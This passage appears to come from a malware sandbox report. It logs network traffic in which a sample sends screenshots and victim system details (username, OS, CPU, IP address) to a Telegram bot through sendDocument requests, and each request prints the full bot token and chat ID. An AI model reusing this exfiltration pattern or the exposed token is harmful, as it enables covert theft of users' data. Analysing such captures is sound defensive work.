2024-04-19 17:34:58 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:34:58 UTC	1558	OUT	Data Raw: e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 01 25 15 1f 9f 0f fc f5 4f fb e8 51 e7 c3 ff 00 3d 53 fe fa 14 00 4f ff 00 1e f2 7f ba 7f 95 7c f3 5f 41 cd 34 46 09 00 91 09 2a 7f 88 7a 57 cf 95 71 33 98 56 e6 99 e2 49 ec ec 7e c1 73 6b 05 fd 9e 77 2c 37 0b 90 a7 d4 1e df 85 61 d1 54 41 b9 a9 f8 92 7b cb 1f b0 5b 5a c1 61 67 9d cd 0d ba e0 31 f5 27 bf e3 58 74 51 40 05 14 51 4c 02 b5 ee 7c 4f ae 5c 5d 4b 3f f6 ad e4 5e 63 97 f2 e2 b8 75 45 c9 ce 14 67 80 3b 56 Data Ascii: Q=S%OQ=S%OQ=S%OQ=S%OQ=S%OQ=S%OQ=SO\|_A4F*zWq3VI~skw,7aTA{[Zag1'XtQ@QL\|O\]K?^cuEg;V
2024-04-19 17:34:58 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 36 65 36 35 34 64 37 38 34 31 38 65 2d 2d 0d 0a Data Ascii: -----------------------------8dc6e654d78418e--
2024-04-19 17:34:58 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:34:59 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:34:59 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3436,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548099,"document":{"file_name":"user-618321 2024-05-07 07-14-15.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg1sZiKrQ-jztWjz1OxDzTwEJ1W0Si4AArAXAAKLUhlRb2ciH4LIkj8BAAdtAAM0BA","file_unique_id":"AQADsBcAAotSGVFy","file_size":12508,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg1sZiKrQ-jztWjz1OxDzTwEJ1W0Si4AArAXAAKLUhlRb2ciH4LIkj8BAAdtAAM0BA","file_unique_id":"AQADsBcAAotSGVFy","file_size":12508,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINbGYiq0Po87Vo89TsQ808BCdVtEouAAKwFwACi1IZUW9nIh-CyJI_NAQ","file_unique_id":"AgADsBcAAotSGVE","file_size":66521},"caption":"New SC Recovered!\n\nTime: 05/07/2024 07:09:11\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49721	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:35:07 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc71aad670e85b Host: api.telegram.org Content-Length: 67155 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:35:08 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 31 61 61 64 36 37 30 65 38 35 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 31 61 61 64 36 37 30 65 38 35 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 31 31 2f 32 30 32 34 20 31 31 3a 30 39 3a 33 33 0a 55 73 65 72 Data Ascii: -----------------------------8dc71aad670e85bContent-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc71aad670e85bContent-Disposition: form-data; name="caption"New SC Recovered!Time: 05/11/2024 11:09:33User
2024-04-19 17:35:08 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:35:08 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:35:08 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:35:08 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:35:08 UTC	1569	OUT	Data Raw: 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 09 ff 00 e3 de 4f f7 4f f2 af 9e 6b e8 39 a6 88 c1 20 12 21 25 4f f1 0f 4a f9 f2 ae 26 73 0a dc d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 ac 3a 2a 88 37 35 3f 12 4f 79 63 f6 0b 6b 58 2c 2c f3 b9 a1 b7 5c 06 3e a4 f7 fc 6b 0e 8a 28 00 a2 8a 29 80 56 bd cf 89 f5 cb 8b a9 67 fe d5 bc 8b cc 72 fe 5c 57 Data Ascii: }<B$}<B$}<B$}<B$}<B$}<B$}<BOOk9 !%OJ&s<I=.m`r:*75?OyckX,,\>k()Vgr\W
2024-04-19 17:35:08 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 31 61 61 64 36 37 30 65 38 35 62 2d 2d 0d 0a Data Ascii: -----------------------------8dc71aad670e85b--
2024-04-19 17:35:08 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:35:09 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:35:09 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3438,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548109,"document":{"file_name":"user-618321 2024-05-11 11-09-33.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg1uZiKrTDFvh8_l5fEgKcZUi_MVXiUAArEXAAKLUhlRSljehnrr2_YBAAdtAAM0BA","file_unique_id":"AQADsRcAAotSGVFy","file_size":12511,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg1uZiKrTDFvh8_l5fEgKcZUi_MVXiUAArEXAAKLUhlRSljehnrr2_YBAAdtAAM0BA","file_unique_id":"AQADsRcAAotSGVFy","file_size":12511,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINbmYiq0wxb4fP5eXxICnGVIvzFV4lAAKxFwACi1IZUUpY3oZ669v2NAQ","file_unique_id":"AgADsRcAAotSGVE","file_size":66532},"caption":"New SC Recovered!\n\nTime: 05/11/2024 11:09:33\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49722	149.154.167.220	443	3472	C:\Users\user\Desktop\z1E-catalogSamples.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:35:10 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc74196518f1dd Host: api.telegram.org Content-Length: 67155 Expect: 100-continue Connection: Keep-Alive
2024-04-19 17:35:11 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 34 31 39 36 35 31 38 66 31 64 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 32 31 30 35 35 38 34 39 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 34 31 39 36 35 31 38 66 31 64 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 31 34 2f 32 30 32 34 20 31 33 3a 32 35 3a 35 37 0a 55 73 65 72 Data Ascii: -----------------------------8dc74196518f1ddContent-Disposition: form-data; name="chat_id"1210558492-----------------------------8dc74196518f1ddContent-Disposition: form-data; name="caption"New SC Recovered!Time: 05/14/2024 13:25:57User
2024-04-19 17:35:11 UTC	16355	OUT	Data Raw: 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 73 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 Data Ascii: !1AQaq"2B#3Rbr$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFshU9oM4UofORx?"\|
2024-04-19 17:35:11 UTC	16355	OUT	Data Raw: e7 92 7f df 22 9c aa aa 30 a0 01 e8 2b 4a 58 19 c6 a2 94 a4 ac 8c eb 66 b4 1d 19 c2 9c 5d e4 ad ad 85 a2 8a 2b d5 3e 78 28 a2 8a 00 b5 a5 b2 a6 a9 6a cc 42 a8 95 49 24 e0 01 9a ee 3e dd 67 ff 00 3f 70 7f df c5 ff 00 1a f3 da 2b 8e be 17 db 4b 9a f6 3d 0c 2e 3b ea f0 70 e5 be bd cf 42 fb 7d 97 fc fe 5b ff 00 df d5 ff 00 1a 4f b7 d9 7f cf e5 bf fd fd 5f f1 af 3e a2 b0 fe cf fe f7 e1 ff 00 04 e9 fe d5 fe e7 e3 ff 00 00 ea 7c 4f 75 6d 36 9a 89 0d c4 52 37 9a 0e 11 c1 38 c1 f4 ae 56 8a 2b b3 0f 47 d8 c7 96 f7 38 31 58 8f ac 4d 4a d6 d0 28 a2 8a dc e6 0a 28 a2 80 0a 28 a2 80 0a 4a 5a 28 01 28 a5 a4 a0 02 8a 28 a0 02 8a 28 a0 02 8a 28 a0 04 a2 8a 28 18 51 45 14 c0 4a 29 68 a0 04 a2 8a 5a 00 4a 28 a2 80 0a 4a 5a 4a 06 14 51 45 30 0a 28 a2 80 12 8a 5a 4a 06 14 51 Data Ascii: "0+JXf]+>x(jBI$>g?p+K=.;pB}[O_>\|Oum6R78V+G81XMJ(((JZ((((((QEJ)hZJ(JZJQE0(ZJQ
2024-04-19 17:35:11 UTC	16355	OUT	Data Raw: d9 f2 82 51 45 14 00 57 49 e0 bf f9 06 dd 7f d7 d3 ff 00 25 ae 6e ba 4f 05 ff 00 c8 36 eb fe be 9f f9 2d 79 79 8f d8 f9 9f 41 92 fc 35 7d 17 e6 6f 4b 22 43 13 cb 23 05 44 05 98 9e c0 57 19 a1 eb 31 5a de de 5e cc 9f ba bb 72 ec 63 52 4c 58 27 01 bb 73 9a d6 d5 34 7b ed 57 50 29 3c 81 6c 43 02 30 e7 ee 80 32 02 fa 93 9e 4e 6b 71 21 8a 38 04 09 1a 88 82 ed 09 8e 31 e9 5e 3b 52 9c ae b4 b1 f4 d0 9d 2a 14 9c 5f bc e5 bd ba 2f f3 ff 00 22 b5 96 a7 6d 7b 2b c3 19 75 95 14 31 49 10 a9 c1 e8 7d c5 73 3e 2a ff 00 91 8a 3f fa f5 1f fa 19 ae ae da c6 d2 d1 99 ad ad a2 85 9b ef 14 40 33 5c a7 8a bf e4 62 8f fe bd 47 fe 86 6b a2 85 fd a4 2f dc e1 c4 f2 7b 1a bc 9b 72 bd fe 46 65 14 51 5f 48 7c 38 51 45 14 00 51 45 14 0c 28 a2 8a 00 28 a2 8a 00 4a 29 68 a0 04 a2 96 8a Data Ascii: QEWI%nO6-yyA5}oK"C#DW1Z^rcRLX's4{WP)<lC02Nkq!81^;R_/"m{+u1I}s>?@3\bGk/{rFeQ_H\|8QEQE((J)h
2024-04-19 17:35:11 UTC	15447	OUT	Data Raw: a2 8a 29 80 51 45 14 00 51 45 14 00 94 51 45 03 0a 4a 5a 4a 00 28 a2 8a 06 14 51 45 00 25 14 51 40 05 14 51 40 c2 90 d2 f6 a4 a0 02 8a 28 a0 04 a2 8a 28 18 52 52 d2 50 01 45 14 50 02 51 4b 49 40 c2 8a 28 a0 02 92 8a 29 8c 28 a2 8a 00 4a 28 cd 26 68 18 b4 94 94 50 16 0c fb 52 66 8a 28 18 52 52 d2 50 01 49 4b 49 40 c2 8a 28 a0 61 49 45 14 00 52 52 d2 50 30 a2 8a 28 01 28 a2 8a 06 21 a2 8a 28 00 a4 a5 a4 a0 61 49 4b 49 40 05 25 2d 14 14 25 14 52 50 08 5a 4a 28 a0 04 34 51 45 03 0a 4a 5a 4a 06 14 94 51 40 09 45 2d 25 03 0a 4a 5a 4a 06 14 94 51 40 05 25 2d 14 0c 4a 28 a2 81 85 25 14 94 00 b4 94 51 40 c3 8a 29 28 a0 02 8a 28 a0 62 51 45 14 0c 4a 28 a2 80 0a 28 a4 a6 30 fe 74 51 f9 50 69 0c 43 c7 34 51 45 30 13 f1 a3 8a 28 a0 61 49 c5 2d 27 14 80 3d e8 fa 51 45 Data Ascii: )QEQEQEJZJ(QE%Q@Q@((RRPEPQKI@()(J(&hPRf(RRPIKI@(aIERRP0((!(aIKI@%-%RPZJ(4QEJZJQ@E-%JZJQ@%-J(%Q@)((bQEJ((0tQPiC4QE0(aI-'=QE
2024-04-19 17:35:11 UTC	1569	OUT	Data Raw: 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 24 a2 a3 f3 e1 ff 00 9e a9 ff 00 7d 0a 3c f8 7f e7 aa 7f df 42 80 09 ff 00 e3 de 4f f7 4f f2 af 9e 6b e8 39 a6 88 c1 20 12 21 25 4f f1 0f 4a f9 f2 ae 26 73 0a dc d3 3c 49 3d 9d 8f d8 2e 6d 60 bf b3 ce e5 86 e1 72 14 fa 83 db f0 ac 3a 2a 88 37 35 3f 12 4f 79 63 f6 0b 6b 58 2c 2c f3 b9 a1 b7 5c 06 3e a4 f7 fc 6b 0e 8a 28 00 a2 8a 29 80 56 bd cf 89 f5 cb 8b a9 67 fe d5 bc 8b cc 72 fe 5c 57 Data Ascii: }<B$}<B$}<B$}<B$}<B$}<B$}<BOOk9 !%OJ&s<I=.m`r:*75?OyckX,,\>k()Vgr\W
2024-04-19 17:35:11 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 34 31 39 36 35 31 38 66 31 64 64 2d 2d 0d 0a Data Ascii: -----------------------------8dc74196518f1dd--
2024-04-19 17:35:11 UTC	25	IN	HTTP/1.1 100 Continue
2024-04-19 17:35:12 UTC	1482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 19 Apr 2024 17:35:12 GMT Content-Type: application/json Content-Length: 1093 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":3439,"from":{"id":7177134832,"is_bot":true,"first_name":"bng_bot","username":"shanny1975_bot"},"chat":{"id":1210558492,"first_name":"kelv","last_name":"calin","type":"private"},"date":1713548112,"document":{"file_name":"user-618321 2024-05-14 13-25-59.jpg","mime_type":"image/jpeg","thumbnail":{"file_id":"AAMCBAADGQMAAg1vZiKrT5PtETgHv09Qiq16ih1NgUAAArIXAAKLUhlR0i3QAXUk-8oBAAdtAAM0BA","file_unique_id":"AQADshcAAotSGVFy","file_size":12511,"width":320,"height":256},"thumb":{"file_id":"AAMCBAADGQMAAg1vZiKrT5PtETgHv09Qiq16ih1NgUAAArIXAAKLUhlR0i3QAXUk-8oBAAdtAAM0BA","file_unique_id":"AQADshcAAotSGVFy","file_size":12511,"width":320,"height":256},"file_id":"BQACAgQAAxkDAAINb2Yiq0-T7RE4B79PUIqteoodTYFAAAKyFwACi1IZUdIt0AF1JPvKNAQ","file_unique_id":"AgADshcAAotSGVE","file_size":66532},"caption":"New SC Recovered!\n\nTime: 05/14/2024 13:25:57\nUser Name: user/618321\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz\nRAM: 8191.25 MB\nIP Address: 81.181.57.52","caption_entities":[{"offset":179,"length":12,"type":"url"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49723	149.154.167.220	443	7324	C:\Users\user\AppData\Roaming\vZkoWbol.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 17:35:17 UTC	262	OUT	POST /bot7177134832:AAFZbBRZvrMTexyCCRWrTRyGHf8Nct0rg7g/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc6a4172022d82 Host: api.telegram.org Content-Length: 67155 Expect: 100-continue Connection: Keep-Alive
